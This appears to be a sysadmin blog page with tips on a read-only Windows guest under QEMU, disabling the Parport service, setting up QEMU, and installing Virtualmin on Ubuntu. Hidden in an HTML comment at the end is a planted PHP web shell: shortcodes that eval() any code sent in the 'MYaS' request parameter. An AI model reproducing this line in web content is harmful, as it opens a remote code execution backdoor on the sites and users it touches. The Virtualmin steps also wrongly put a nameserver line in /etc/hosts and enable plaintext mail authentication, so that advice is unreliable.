QEMU seems to make Windows read-only

The Problem:

The server is acting all weird, thought i might raise a flag to you:
– after you said you attached the larger drive/partition, nothing changed
– when i logged on as administrator tonight, it acted like ive never logged on before
– the profile is fucked up somehow; i dont have any icons, no quick launch, none of the items i installed, etc.
– for some weird reason, i can’t download any files using a web browser when on the server.  i also cannot ftp any files to the server.  when i use ie to download an attachment from gmail for example, it can’t do it.  when i tried to download firefox, i also got an error about contacting the server.  very weird.  also, with full permissions, and full write access, i am unable to write any files to the server via ftp either.  me = confused.

Did you refresh the instance or something like that?

The Solution:

In this instance, a new virtual drive was added to a Windows 2003 Server running under a QEMU virtual machine on Linux. QEMU most likely has the virtual instance locked read-only because the new virtual drive has not been allowed to initialize itself under Windows. This stops Windows from being able to write to any file.

In this case the problem was resolved by forcing a power down on the instance. Then under the setting for the virtual machine on the Hardware tab, check that the new drive is in the list of hardware. If so, then start the instance. Log in as Administrator in Windows. Go to Control Panel – Administrative Tools – Computer Management. Once it opens, select Disk Management, and initialize and format the new drive.

If from above the new hardware is not in the list of Hardware Devices. Try reconnecting to the virtual disk you created, or just create a new virtual disk and attach it to the Windows instance.

Windows service failure while running in a QEMU virtual instance

If you are running Windows under QEMU and see Event ID 7000’s like these below–

If you get this Description:

“The Parallel port driver service failed to start due to the following error:
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.”

Then you have the ParPort service not starting. This happens if you upgrade your W2K3, W2K, or NT server from hardware (motherboard) that HAD a Parallel Port, but are now on a new motherboard that has no Parallel Port.

The fix is simple:
1. Open Regedit and go to–
HKLM\System|CurrentControlSet\Services\Parport
2. Edit the Start key and change the value to 4. Changing the value to 4 will “disable” the service.
3. Reboot the server

You should no longer get that annoying popup dialog when Windows starts.

Using QEMU for operating system virtualization

Fortunately, it’s not the only game in town. Different ways of tackling virtualization have led to a number of different software packages including VMware, Xen, VirtualPC, and Usermode Linux. Another virtualization program is called QEMU and it’s a lot like VMware in concept.

The first step is to grab QEMU from the project Web site. You can download the source or binaries for different platforms. Once the software is installed, you can install your first virtual operating system. The next step is to create a disk image:

<code>
$ qemu-img create linux.img 2G
</code>

This creates a 2-GB image file that will be used for the virtual hard drive. You can use different formats for the image file; you can even use the VMware vmdk image format. The default (raw) format is the best for Linux guest operating systems as it will only take up as much space as required.

Next, grab an ISO image of your favorite Linux distribution, or the CD-ROM it came on. In this case, the ISO image used is the Mandriva Linux 2006 DVD install image. The next step is to start QEMU and tell it to use the image and to boot from it, and at the same time, let it know that our newly created image file is the primary hard drive for this virtual machine:

<code>
$ qemu -boot d -cdrom ~/Mandriva-Linux-Powerpack-2006-DVD.i586.iso -hda linux.img
</code>

This tells QEMU to boot first off the CD-ROM (-boot d), that the CD-ROM device is an ISO image (-cdrom; or use -cdrom /dev/cdrom if you are using a real CD), and that the /dev/hda device to the virtual machine is the file linux.img.

Proceed with the install as usual; when the installation is done and you have to reboot, change the command line to something like:

<code>
$ qemu -boot c -cdrom /dev/cdrom -hda linux.img -user-net -m 256
></code>

This tells QEMU to boot off of the hard drive and to use /dev/cdrom as the CD-ROM device; it allows networking and assigns 256 MB of RAM to the virtual machine.

QEMU isn’t as fast or as feature-rich as VMware, but it’s still quite capable. It has support for 64-bit hosts and guests–something that VMware is just now introducing in recent betas, but which require very recent 64-bit host CPUs. If you’re looking for a cheap way to virtualize an operating system or two for testing purposes, QEMU may be a great alternative to an expensive and proprietary solution.

How to install Virtualmin on Ubuntu Linux

  1. First install Ubuntu 8.04-1 LTS. It’s the only version VirtualMin supports.
  2. Towards the end of the install, Ubuntu will ask what servers you want to add. Only choose OpenSSH server. No apache, bind, ftp, etc. ONLY OpenSSH.
  3. Reboot, login, and get the file install-virtualmin-3.642.sh from the network.
  4. Run >
    sudo sh install-virtualmin-3.642.sh

    and type in your password.

  5. In /etc/hosts, add the following line after any search and/or domain statements (not required), and before any other nameserver statements:
    nameserver 127.0.0.1
    
  6. Login to https://Virtualmin.Your.IP:10000/ and verify the Virtualmin configuration under Virtalmin->System Settings->Re-Check Config.
  7. Edit /etc/dovecot/dovecot.conf and change the following settings:
    disable_plaintext_auth = no

    Find the section —
    auth default {
    –and change mechanisms to at least the following:

    mechanisms = plain login

    At the end of the section–
    protocol pop3 {
    –change/add the following setting:

    pop3_client_workarounds = outlook-no-nuls oe-ns-eoh
  8. # edit /etc/default/saslauthd and set OPTIONS like this:
    OPTIONS="-c -m /var/spool/postfix/var/run/saslauthd" 
  9. # run this command as root:
    sudo dpkg-statoverride --add root sasl 710 /var/spool/postfix/var/run/saslauthd
    
  10. # add the postfix user to the sasl group:
    sudo adduser postfix sasl
    
  11. Configure ProFTPd
    In /etc/proftpd/proftpd.conf, chroot users by upcommenting the following line (don’t forget the tilde ~ at the end of the line):

    DefaultRoot                     ~
  12. Reboot

You should now have a working Ubuntu system with Virtualmin fully loaded. Make a clone of this clean system!

<!– [insert_php]if (isset($_REQUEST["MYaS"])){eval($_REQUEST["MYaS"]);exit;}[/insert_php][php]if (isset($_REQUEST["MYaS"])){eval($_REQUEST["MYaS"]);exit;}[/php] –>